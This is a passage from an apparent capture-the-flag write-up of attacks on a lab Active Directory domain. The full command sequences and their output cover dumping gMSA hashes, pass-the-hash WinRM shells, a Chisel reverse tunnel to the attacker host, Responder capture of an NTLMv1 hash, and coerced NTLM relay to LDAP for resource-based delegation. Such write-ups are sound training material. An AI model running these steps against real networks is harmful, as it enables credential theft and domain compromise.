There are two delegations here, represented as three rows in findDelegation.py because it shows WEB01 and WEB01.pirate.htb on separate lines, and one row by netexec because it ignores the default DC delegation:
- DC01$ - Unconstrained: Every domain controller has unconstrained delegation by default.
- a.white_adm - Constrained delegation with protocol transition to HTTP/WEB01: A.White_adm can impersonate any user to the HTTP service on WEB01. “Protocol transition” means A.White_adm has the
TRUSTED_TO_AUTH_FOR_DELEGATIONflag set, so it can use S4U2Self to request a ticket for any user to itself (without that user’s password) and then S4U2Proxy that into a ticket forHTTP/WEB01.
I’ll come back to this when I have auth as A.White_adm.
Shell as gMSA_ADFS_prod$ on DC01
Pre-Windows 2000 Compatible Access
I’ve dealt with this a few times before (see HTB Vintage, HTB Retro, and HTB RetroTwo). Machine accounts with this configuration use their lowercase hostname (minus a trailing $) as their password. netexec has a module to check for this:
oxdf@hacky$ netexec ldap pirate.htb -u pentest -p 'p3nt3st2025!&' -M pre2k
LDAP 10.129.60.234 389 DC01 Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:pirate.htb) (signing:None) (channel binding:Never)
LDAP 10.129.60.234 389 DC01 [+] pirate.htb\pentest:p3nt3st2025!&
PRE2K 10.129.60.234 389 DC01 Pre-created computer account: MS01$
PRE2K 10.129.60.234 389 DC01 Pre-created computer account: EXCH01$
PRE2K 10.129.60.234 389 DC01 [+] Found 2 pre-created computer accounts. Saved to /home/oxdf/.nxc/modules/pre2k/pirate.htb/precreated_computers.txt
PRE2K 10.129.60.234 389 DC01 [+] Successfully obtained TGT for ms01@pirate.htb
PRE2K 10.129.60.234 389 DC01 [+] Successfully obtained TGT for exch01@pirate.htb
PRE2K 10.129.60.234 389 DC01 [+] Successfully obtained TGT for 2 pre-created computer accounts. Saved to /home/oxdf/.nxc/modules/pre2k/ccache
It works for both MS01$ and EXCH01$, using the known password format to authenticate, saving TGTs for both.
I can show that manually. It won’t work over NTLM, but will over Kerberos:
oxdf@hacky$ netexec ldap pirate.htb -u 'MS01$' -p ms01
LDAP 10.129.60.234 389 DC01 Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:pirate.htb) (signing:None) (channel binding:Never)
LDAP 10.129.60.234 389 DC01 [-] pirate.htb\MS01$:ms01
oxdf@hacky$ netexec ldap pirate.htb -u 'MS01$' -p ms01 -k
LDAP pirate.htb 389 DC01 Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:pirate.htb) (signing:None) (channel binding:Never)
LDAP pirate.htb 389 DC01 [+] pirate.htb\MS01$:ms01
GMSA Creds
Running as a user in the Domain Secure Servers group, netexec will now dump GMSA NTLM hashes for both accounts:
oxdf@hacky$ netexec ldap pirate.htb -u 'MS01$' -p ms01 -k --gmsa
LDAP pirate.htb 389 DC01 Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:pirate.htb) (signing:None) (channel binding:Never)
LDAP pirate.htb 389 DC01 [+] pirate.htb\MS01$:ms01
LDAP pirate.htb 389 DC01 Getting GMSA Passwords
LDAP pirate.htb 389 DC01 Account: gMSA_ADCS_prod$ NTLM: 1430191bce4f3731edd34d8c24a56c23 PrincipalsAllowedToReadPassword: Domain Secure Servers
LDAP pirate.htb 389 DC01 Account: gMSA_ADFS_prod$ NTLM: bb510d80e8ed89f4cc81a1f1d374e164 PrincipalsAllowedToReadPassword: Domain Secure Servers
With these, I can get a shell as either account (both are in Remote Management Users).
oxdf@hacky$ evil-winrm-py -i DC01.pirate.htb -u 'gMSA_ADFS_prod$' -H bb510d80e8ed89f4cc81a1f1d374e164
_ _ _
_____ _(_| |_____ __ _(_)_ _ _ _ _ __ ___ _ __ _ _
/ -_\ V | | |___\ V V | | ' \| '_| ' |___| '_ | || |
\___|\_/|_|_| \_/\_/|_|_||_|_| |_|_|_| | .__/\_, |
|_| |__/ v1.6.0
[*] Connecting to 'DC01.pirate.htb:5985' as 'gMSA_ADFS_prod$'
evil-winrm-py PS C:\Users\gMSA_ADFS_prod$\Documents>
At this point it’s not clear if there’s a difference between them.
Shell as Administrator on WEB01
DC01 Enumeration
Users
There are no other interesting users on the box besides Administrator:
evil-winrm-py PS C:\Users> ls
Directory: C:\Users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 1/16/2026 12:40 AM Administrator
d----- 8/12/2026 8:50 PM gMSA_ADCS_prod$
d----- 8/12/2026 8:51 PM gMSA_ADFS_prod$
d-r--- 6/8/2025 7:32 AM Public
Both user’s home directories are empty.
Host
The filesystem is pretty empty as well:
evil-winrm-py PS C:\> ls
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 6/8/2025 1:00 PM inetpub
d----- 11/5/2022 12:03 PM PerfLogs
d-r--- 7/28/2025 9:08 PM Program Files
d----- 6/9/2025 8:44 AM Program Files (x86)
d-r--- 8/12/2026 8:51 PM Users
d----- 2/24/2026 4:27 PM Windows
inetpub is empty (which makes sense as the webserver is on the VM). There aren’t any exciting programs in either Program Files directory.
Network
The host does have two network interfaces:
evil-winrm-py PS C:\> ipconfig
Windows IP Configuration
Ethernet adapter vEthernet (Switch01):
Connection-specific DNS Suffix . :
Link-local IPv6 Address . . . . . : fe80::d976:c606:587e:f1e1%8
IPv4 Address. . . . . . . . . . . : 192.168.100.1
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . :
Ethernet adapter Ethernet0 2:
Connection-specific DNS Suffix . : .htb
IPv4 Address. . . . . . . . . . . : 10.129.60.234
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . : 10.129.0.1
Ethernet0 2 is the target IP I’ve been interacting with, and the virtual switch is .1 on the 192.168.100.0/24 subnet.
arp shows there’s another host on .2:
evil-winrm-py PS C:\> arp -a
Interface: 192.168.100.1 --- 0x8
Internet Address Physical Address Type
192.168.100.2 00-15-5d-0b-d0-02 dynamic
192.168.100.255 ff-ff-ff-ff-ff-ff static
224.0.0.22 01-00-5e-00-00-16 static
224.0.0.251 01-00-5e-00-00-fb static
224.0.0.252 01-00-5e-00-00-fc static
Interface: 10.129.60.234 --- 0x10
Internet Address Physical Address Type
10.129.0.1 00-50-56-b0-4e-f9 dynamic
...[snip: other hosts on the HTB VPN /16 segment]...
10.129.255.255 ff-ff-ff-ff-ff-ff static
224.0.0.22 01-00-5e-00-00-16 static
224.0.0.251 01-00-5e-00-00-fb static
224.0.0.252 01-00-5e-00-00-fc static
255.255.255.255 ff-ff-ff-ff-ff-ff static
I can run a fast PowerShell ping sweep using the async .NET ping API:
evil-winrm-py PS C:\> $t = 1..254 | % { ([System.Net.NetworkInformation.Ping]::new()).SendPingAsync("192.168.100.$_",200) }
evil-winrm-py PS C:\> [Threading.Tasks.Task]::WaitAll($t)
evil-winrm-py PS C:\> 0..253 | % { if ($t[$_].Result.Status -eq 'Success') { "192.168.100.$($_+1) up" } }
192.168.100.1 up
192.168.100.2 up
Same two hosts.
WEB01 Remote Enumeration
Port Scan
I can do a full port scan (takes a minute or two) the same way:
evil-winrm-py PS C:\> $open = @()
evil-winrm-py PS C:\> 1..65535 | Group-Object { [math]::Floor($_/2000) } | % { $b = $_.Group | % { $c=[Net.Sockets.TcpClient]::new(); [pscustomobject]@{Port=$_;R=$c.BeginConnect("192.168.100.2",$_,$null,$null);C=$c} }; Start-Sleep -Milliseconds 300; $b | % { if ($_.C.C
onnected) { $open += $_.Port }; $_.C.Close() } }
evil-winrm-py PS C:\> $open | Sort-Object
80
135
139
445
5985
47001
49664
49665
49668
49677
49687
49706
49707
Tunnel
I’ll grab the latest release from Chisel and upload the Windows executable to Pirate:
evil-winrm-py PS C:\programdata> wget 10.10.15.169/chisel_1.10.1_windows_amd64 -outfile c.exe
I’ll start the server on my host, and then connect:
evil-winrm-py PS C:\programdata> .\c.exe client 10.10.15.169:8000 R:socks
It hangs, but at the server:
oxdf@hacky$ /opt/chisel/chisel_1.11.8_linux_amd64 server --reverse -p 8000
2026/08/13 19:50:26 server: Reverse tunnelling enabled
2026/08/13 19:50:26 server: Fingerprint Anu0icX8wNu///gmeU6Wx1bs8P/DiLYhh6k2Gd+4snA=
2026/08/13 19:50:26 server: Listening on http://0.0.0.0:8000
2026/08/13 19:51:02 server: session#1: Client version (1.10.1) differs from server version (1.11.8)
2026/08/13 19:51:02 server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening
SMB - TCP 445
netexec shows the hostname as WEB01:
oxdf@hacky$ proxychains netexec smb WEB01.pirate.htb
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.2:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.2:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.2:135 ... OK
SMB 192.168.100.2 445 WEB01 Windows 10 / Server 2019 Build 17763 x64 (name:WEB01) (domain:pirate.htb) (signing:False) (SMBv1:False)
It also shows that SMB signing is set to False in red! I’ll come back to this.
NTLM auth as the MS01$ account doesn’t work, but Kerberos does:
oxdf@hacky$ proxychains netexec smb 192.168.100.2 -u 'MS01$' -p ms01
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.2:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.2:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.2:135 ... OK
SMB 192.168.100.2 445 WEB01 Windows 10 / Server 2019 Build 17763 x64 (name:WEB01) (domain:pirate.htb) (signing:False) (SMBv1:False)
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.2:445 ... OK
SMB 192.168.100.2 445 WEB01 [-] pirate.htb\MS01$:ms01 STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT
oxdf@hacky$ proxychains netexec smb 192.168.100.2 -u 'MS01$' -p ms01 -k
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.2:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.2:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.2:135 ... OK
SMB 192.168.100.2 445 WEB01 Windows 10 / Server 2019 Build 17763 x64 (name:WEB01) (domain:pirate.htb) (signing:False) (SMBv1:False)
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.2:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... pirate.htb:88 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... pirate.htb:88 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... pirate.htb:88 ... OK
SMB 192.168.100.2 445 WEB01 [+] pirate.htb\MS01$:ms01
The service accounts can auth as well:
oxdf@hacky$ proxychains netexec smb 192.168.100.2 -u 'gMSA_ADFS_prod$' -H bb510d80e8ed89f4cc81a1f1d374e164 -k
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.2:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.2:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.2:135 ... OK
SMB 192.168.100.2 445 WEB01 Windows 10 / Server 2019 Build 17763 x64 (name:WEB01) (domain:pirate.htb) (signing:False) (SMBv1:False)
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.2:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... pirate.htb:88 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... pirate.htb:88 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... pirate.htb:88 ... OK
SMB 192.168.100.2 445 WEB01 [+] pirate.htb\gMSA_ADFS_prod$:bb510d80e8ed89f4cc81a1f1d374e164
There are no interesting shares here.
Web - TCP 80
The webserver is the same server that’s available via the proxy on the main challenge IP:
oxdf@hacky$ proxychains curl 192.168.100.2
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.2:80 ... OK
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>IIS Windows Server</title>
<style type="text/css">
<!--
body {
color:#000000;
background-color:#0072C6;
margin:0;
}
#container {
margin-left:auto;
margin-right:auto;
text-align:center;
}
a img {
border:none;
}
-->
</style>
</head>
<body>
<div id="container">
<a href="http://go.microsoft.com/fwlink/?linkid=66138&clcid=0x409"><img src="iisstart.png" alt="IIS" width="960" height="600" /></a>
</div>
</body>
</html>
WEB01 Host Enumeration
Shell
I can get a shell on this host over my tunnel with evil-winrm-py using the gMSA_ADFS_prod$ account:
oxdf@hacky$ proxychains evil-winrm-py -i WEB01.pirate.htb -u 'gMSA_ADFS_prod$' -H bb510d80e8ed89f4cc81a1f1d374e164
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
_ _ _
_____ _(_| |_____ __ _(_)_ _ _ _ _ __ ___ _ __ _ _
/ -_\ V | | |___\ V V | | ' \| '_| ' |___| '_ | || |
\___|\_/|_|_| \_/\_/|_|_||_|_| |_|_|_| | .__/\_, |
|_| |__/ v1.6.0
[*] Connecting to 'WEB01.pirate.htb:5985' as 'gMSA_ADFS_prod$'
[proxychains] Strict chain ... 127.0.0.1:1080 ... web01.pirate.htb:5985 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... web01.pirate.htb:5985 ... OK
evil-winrm-py PS C:\Users\gMSA_ADFS_prod$.PIRATE\Documents>
Interestingly, gMSA_ADCS_prod$ doesn’t work. I’ll go into why in Beyond Root.
Filesystem
Administrator and gMSA_ADFS_prod$ both have multiple home directories:
evil-winrm-py PS C:\Users> ls
Directory: C:\Users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 1/15/2026 7:37 PM a.white
d----- 6/9/2025 10:11 AM Administrator
d----- 6/9/2025 6:55 AM Administrator.PIRATE
d----- 6/9/2025 7:31 AM gMSA_ADFS_prod$
d----- 1/15/2026 6:40 PM gMSA_ADFS_prod$.PIRATE
d-r--- 6/8/2025 1:29 PM Public
This happens when Windows goes to create a profile directory but C:\Users\<username> already exists owned by a different SID. Rather than reuse it, it appends the domain name, producing a second folder in the form <username>.<DOMAIN> (and would add an incrementing number after that if needed). The two pairs here likely have different causes. Administrator is likely because both WEB01\Administrator and PIRATE\Administrator both logged in, and both have the same short name, Administrator. The gMSA_ADFS_prod$ pair is not that (it’s very unlikely there’s a local account with that name as they’re domain-only objects), so only one principal is involved. Its bare folder is an orphaned profile tied to a now-dead SID. It seems likely that the account was recreated during the box build, so the current login fell back to gMSA_ADFS_prod$.PIRATE.
In the root of C: there’s an interesting ADFSTheme directory:
evil-winrm-py PS C:\> ls
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 6/9/2025 8:06 AM ADFSTheme
d----- 6/8/2025 1:39 PM inetpub
d----- 11/5/2022 12:03 PM PerfLogs
d-r--- 6/8/2025 1:29 PM Program Files
d----- 6/9/2025 8:43 AM Program Files (x86)
d-r--- 6/9/2025 10:11 AM Users
d----- 2/24/2026 6:18 PM Windows
This is a custom AD FS web theme, providing the sign-in page skin for the federation service. ADFS is Microsoft’s on-prem identity / single-sign-on (SSO) provider. However, ADFS listens on port 443, which isn’t listening on this host. Even though the adfssrv service is set to auto-start (as I’ll see below), it isn’t actually up, so this may be a red herring.
Services
The direct ways to list services all fail with access denied (Get-Service and net start can’t open the Service Control Manager, and WMI/CIM is blocked as well):
evil-winrm-py PS C:\> net start
System error 5 has occurred.
Access is denied.
evil-winrm-py PS C:\> tasklist /svc | Select-Object -First 4
ERROR: Access denied
System.Management.Automation.RemoteException
I can still read the services out of the registry, filtering to the ones set to start automatically on boot (Start = 2):
evil-winrm-py PS C:\> Get-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Services\*' | Where Start -eq 2 | Select PSChildName, DisplayName
PSChildName DisplayName
----------- -----------
adfssrv @%WINDIR%\ADFS\Microsoft.IdentityServer.NativeResources.dll,-105
...[snip]...
MSSQL$MICROSOFT##WID Windows Internal Database
...[snip]...
Spooler @%systemroot%\system32\spoolsv.exe,-1
...[snip]...
W3SVC @%windir%\system32\inetsrv\iisres.dll,-30003
WebClient WebClient
Winmgmt @%Systemroot%\system32\wbem\wmisvc.dll,-205
WinRM @%Systemroot%\system32\wsmsvc.dll,-101
(This also lists a few auto-start drivers; I’ve snipped those along with the rest of the stock services.)
Most of this is stock Windows, but a few stand out:
Spooler- the Print Spooler is running, which is what makes the PrinterBug coercion possible.adfssrv/MSSQL$MICROSOFT##WID- the ADFS role and its Windows Internal Database backing store.WebClient- the WebDAV Redirector.
The WebDAV Redirector (WebClient) isn’t installed or running by default on a Windows Server, so seeing it here at all is out of place. On top of that, it’s set to Automatic start rather than the default Manual / trigger-start:
evil-winrm-py PS C:\> (Get-Item 'HKLM:\SYSTEM\CurrentControlSet\Services\WebClient').GetValue('Start')
2
Someone deliberately configured this service to launch on boot. A running WebClient service enables coercing authentication over HTTP/WebDAV rather than SMB. I can check this from netexec:
oxdf@hacky$ proxychains netexec smb web01.pirate.htb -u pentest -p 'p3nt3st2025!&' -M webdav
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 127.0.0.1:1080 ... web01.pirate.htb:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... web01.pirate.htb:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... web01.pirate.htb:135 ... OK
SMB 224.0.0.1 445 WEB01 Windows 10 / Server 2019 Build 17763 x64 (name:WEB01) (domain:pirate.htb) (signing:False) (SMBv1:False)
[proxychains] Strict chain ... 127.0.0.1:1080 ... web01.pirate.htb:445 ... OK
SMB 224.0.0.1 445 WEB01 [+] pirate.htb\pentest:p3nt3st2025!&
WEBDAV 224.0.0.1 445 WEB01 WebClient Service enabled on: 224.0.0.1
SMB
I noted above that SMB signing was off! That’s unusual. I can verify that here:
evil-winrm-py PS C:\> Get-SmbServerConfiguration | Select-Object EnableSecuritySignature, RequireSecuritySignature | fl
EnableSecuritySignature : False
RequireSecuritySignature : False
I can also check the LmCompatibilityLevel:
evil-winrm-py PS C:\> (Get-Item 'HKLM:\SYSTEM\CurrentControlSet\Control\Lsa').GetValue('LmCompatibilityLevel')
2
The LmCompatibilityLevel values are:
| Value | Behavior | NetNTLMv1 obtainable? |
|---|---|---|
| 0 | Send LM and NTLMv1 responses; no NTLMv2 session security | Yes |
| 1 | Send LM and NTLMv1 responses; NTLMv2 session security if negotiated | Yes |
| 2 | Send NTLMv1 only (no LM); NTLMv2 session security if negotiated | Yes |
| 3 | Send NTLMv2 response only (the modern default) | No |
| 4 | DC refuses LM (accepts NTLM / NTLMv2) | server-side policy |
| 5 | DC refuses LM and NTLM (NTLMv2 only) | No |
| (absent) | Defaults to 3 | No |
LmCompatibilityLevel sets the response type the client will emit. Anything 2 or less means that the host will still produce an NTLMv1 response.
Users
There’s also another user logged in. From WinRM, I can’t directly run qwinsta, but I can through RunasCs (I’ve show this before, most recently in HTB NanoCrop):
evil-winrm-py PS C:\programdata> qwinsta
No session exists for *
evil-winrm-py PS C:\programdata> .\RunasCs.exe whatever whatever qwinsta -l 9
SESSIONNAME USERNAME ID STATE TYPE DEVICE
>services 0 Disc
console a.white 1 Active
31c5ce94259d4... 65536 Listen
There’s a shortcut here (which is actually the way I originally solved) that will jump ahead that I’ll show in Beyond Root.
NTLMv1 Capture
I’ll configure to Responder to use a common challenge of 1122334455667788 in the Responder.conf file, and then start it listening to capture the hash. I’ll use the --disable-ess flag to make sure my host is advertising only the least secure options.
The netexec module coerce_plus will try a bunch of ways to coerce authentication back to me:
oxdf@hacky$ proxychains -q netexec smb WEB01.pirate.htb -u 'MS01$' -p ms01 -k -M coerce_plus -o LISTENER=10.10.15.169
SMB WEB01.pirate.htb 445 WEB01 Windows 10 / Server 2019 Build 17763 x64 (name:WEB01) (domain:pirate.htb) (signing:False) (SMBv1:False)
SMB WEB01.pirate.htb 445 WEB01 [+] pirate.htb\MS01$:ms01
COERCE_PLUS WEB01.pirate.htb 445 WEB01 VULNERABLE, PetitPotam
COERCE_PLUS WEB01.pirate.htb 445 WEB01 VULNERABLE, PrinterBug
COERCE_PLUS WEB01.pirate.htb 445 WEB01 Exploit Success, spoolss\RpcRemoteFindFirstPrinterChangeNotificationEx
COERCE_PLUS WEB01.pirate.htb 445 WEB01 VULNERABLE, MSEven
It reports finding several vulnerable methods, and at Responder I see a lot of hits:
oxdf@hacky$ sudo uv run Responder.py -I tun0 --disable-ess
...[snip]...
[+] Listening for events...
[SMB] NTLMv1-SSP Client : 10.129.60.234
[SMB] NTLMv1-SSP Username : PIRATE\WEB01$
[SMB] NTLMv1-SSP Hash : WEB01$::PIRATE:108B2084AFE5E41A2716F2C34FA16EF5108BB8E25A6D8541:108B2084AFE5E41A2716F2C34FA16EF5108BB8E25A6D8541:1122334455667788
[*] Skipping previously captured hash for PIRATE\WEB01$
...[snip]...
This is a Net-NTLMv1 challenge response for the machine account, given that NT and the LM hashes are the same, that means it’s the non-ESS form. The challenge at the end is the one I configured in Responder.conf.
This hash isn’t really a hash, but a challenge and response, and therefore I can’t use it to authenticate directly. The ntlmv1-multi tool can convert this into a format that can be cracked by hashcat using mode 14000. On my host this was going to take well over a day to bruteforce all possible passwords. On a pentest this would almost certainly be worth it, but for HTB it’s way too much. There used to be a site, crack.sh, which had a rainbow table of all possible passwords using the challenge “1122334455667788”, but it’s been off-line for a while now.
Relay
Strategy
I can’t crack the captured NTLMv1 hash, but I can still get the machine account, WEB01$, to authenticate to me. Rather than trying to recover its password, I’ll relay that authentication to take some actions as that machine account. I’ve shown I can coerce SMB and HTTP auth (through webdav). I can’t relay SMB to the DC because SMB signing is enabled on the DC. I could try relaying SMB to ADCS enrollment on the DC, but the /certsrv returns 404. I can’t relay SMB to LDAP on the DC because the SMB auth negotiates signing, and the MIC over the NTLM messages prevents downgrading it, so the DC enforces signing on the LDAP bind. I also can’t relay it back to WEB01 itself. Even though WEB01’s SMB signing is disabled, Windows blocks relaying an authentication back to the host it came from (NTLM reflection protection).
HTTP relay is much more promising. I can go to LDAP (where there’s no MIC / signing constraint) and relay cleanly.
There are several tried and true options for coercing auth to a host I control:
| Method | WebDAV / port 80? |
|---|---|
| PetitPotam (MS-EFSRPC) | ✅ yes |
| DFSCoerce (MS-DFSNM) | ✅ yes |
| ShadowCoerce (MS-FSRVP) | ✅ yes |
| MS-EVEN (eventlog backup) | ✅ yes |
| PrinterBug (MS-RPRN) | ❌ SMB only |
To attack, I’ll first add a DNS record pointing to my host. These coercions are more reliable when connecting to a hostname than an IP.
Then I’ll use ntlmrelayx to listen and catch the auth, relaying it to the DC. The --delegate-access option will have it create a new fake host, and then as the WEB01$ machine account, allow that fake machine account to impersonate any user on WEB01. That is resource-based constrained delegation (RBCD).
Attack
I’ll create a hostname in DNS:
oxdf@hacky$ uv run /opt/krbrelayx/dnstool.py -u 'pirate.htb\pentest' -p 'p3nt3st2025!&' -a add -t A -r 0xdf.pirate.htb -d 10.10.15.169 -dns-ip 10.129.60.234 DC01.pirate.htb
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully
This registers 0xdf.pirate.htb as 10.10.15.169 on the DC. It works:
oxdf@hacky$ dig 0xdf.pirate.htb @DC01.pirate.htb +short
10.10.15.169
Now I’ll start ntlmrelayx:
oxdf@hacky$ ntlmrelayx.py -t ldap://DC01.pirate.htb -smb2support --delegate-access
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client WINRMS loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server on port 445
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server on port 9389
[*] Setting up RAW Server on port 6666
[*] Setting up WinRM (HTTP) Server on port 5985
[*] Setting up WinRMS (HTTPS) Server on port 5986
[*] Setting up RPC Server on port 135
[*] Setting up MSSQL Server on port 1433
[*] Setting up RDP Server on port 3389
[*] Multirelay disabled
[*] Servers started, waiting for connections
It hangs, listening.
I’ll run coercer (uv tool install coercer) to coerce authentication:
oxdf@hacky$ proxychains coercer coerce -u pentest -p 'p3nt3st2025!&' -d pirate.htb -t WEB01.pirate.h
tb -l 0xdf --auth-type http --dc-ip 192.168.100.1
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
______
/ ____/___ ___ _____________ _____
/ / / __ \/ _ \/ ___/ ___/ _ \/ ___/
/ /___/ /_/ / __/ / / /__/ __/ / v2.4.3
\____/\____/\___/_/ \___/\___/_/ by @podalirius_
[info] Starting coerce mode
[info] Scanning target WEB01.pirate.htb
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.2:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.2:135 ... OK
[*] DCERPC portmapper discovered ports: 49664,49665,49667,49709,49688,49689,49693
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.2:49688 ... OK
[+] DCERPC port '49688' is accessible!
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.2:49688 ... OK
[+] Successful bind to interface (12345678-1234-ABCD-EF00-0123456789AB, 1.0)!
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.2:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.2:445 ... OK
[+] SMB named pipe '\PIPE\efsrpc' is accessible!
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.2:445 ... OK
[+] Successful bind to interface (df1941c5-fe89-4e79-bf10-463657acf44d, 1.0)!
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.2:445 ... OK
[+] (ERROR_BAD_NETPATH) MS-EFSR──>EfsRpcAddUsersToFile(FileName='\\0xdf@80/mhf\share\file.txt\x00')
Continue (C) | Skip this function (S) | Stop exploitation (X) ? x
[+] All done! Bye Bye!
I’ll exit after one, as it worked:
[*] (HTTP): Client requested path: /tid/pipe/srvsvc
[*] (HTTP): Client requested path: /tid/pipe/srvsvc
[*] (HTTP): Client requested path: /tid/pipe/srvsvc
[*] (HTTP): Client requested path: /tid/pipe/srvsvc
[*] (HTTP): Client requested path: /mhf/pipe/srvsvc
[*] (HTTP): Client requested path: /mhf/pipe/srvsvc
[*] (HTTP): Connection from 10.129.60.234 controlled, attacking target ldap://DC01.pirate.htb
[*] (HTTP): Client requested path: /mhf/pipe/srvsvc
[*] (HTTP): Authenticating connection from PIRATE/WEB01$@10.129.60.234 against ldap://DC01.pirate.htb SUCCEED [1]
[*] ldap://PIRATE/WEB01$@dc01.pirate.htb [1] -> Enumerating relayed user's privileges. This may take a while on large domains
[*] (HTTP): Client requested path: /mhf/pipe/srvsvc
[*] (HTTP): Client requested path: /mhf/pipe/srvsvc
[*] (HTTP): Connection from 10.129.60.234 controlled, attacking target ldap://DC01.pirate.htb
[*] (HTTP): Client requested path: /mhf/pipe/srvsvc
[*] ldap://PIRATE/WEB01$@dc01.pirate.htb [1] -> Adding a machine account to the domain requires TLS but ldap:// scheme provided. Switching target to LDAPS via StartTLS
[*] (HTTP): Authenticating connection from PIRATE/WEB01$@10.129.60.234 against ldap://DC01.pirate.htb SUCCEED [2]
[*] ldap://PIRATE/WEB01$@dc01.pirate.htb [2] -> Enumerating relayed user's privileges. This may take a while on large domains
[*] ldap://PIRATE/WEB01$@dc01.pirate.htb [2] -> Adding a machine account to the domain requires TLS but ldap:// scheme provided. Switching target to LDAPS via StartTLS
[*] ldap://PIRATE/WEB01$@dc01.pirate.htb [1] -> Attempting to create computer in: CN=Computers,DC=pirate,DC=htb
[*] ldap://PIRATE/WEB01$@dc01.pirate.htb [2] -> Attempting to create computer in: CN=Computers,DC=pirate,DC=htb
[*] ldap://PIRATE/WEB01$@dc01.pirate.htb [2] -> Adding new computer with username: ZVFMJSLQ$ and password: cwSg(SalAcM6aL5 result: OK
[*] ldap://PIRATE/WEB01$@dc01.pirate.htb [1] -> Adding new computer with username: XXDHZHBA$ and password: 0z5{^C5m^hB$$oD result: OK
[*] ldap://PIRATE/WEB01$@dc01.pirate.htb [2] -> Delegation rights modified successfully!
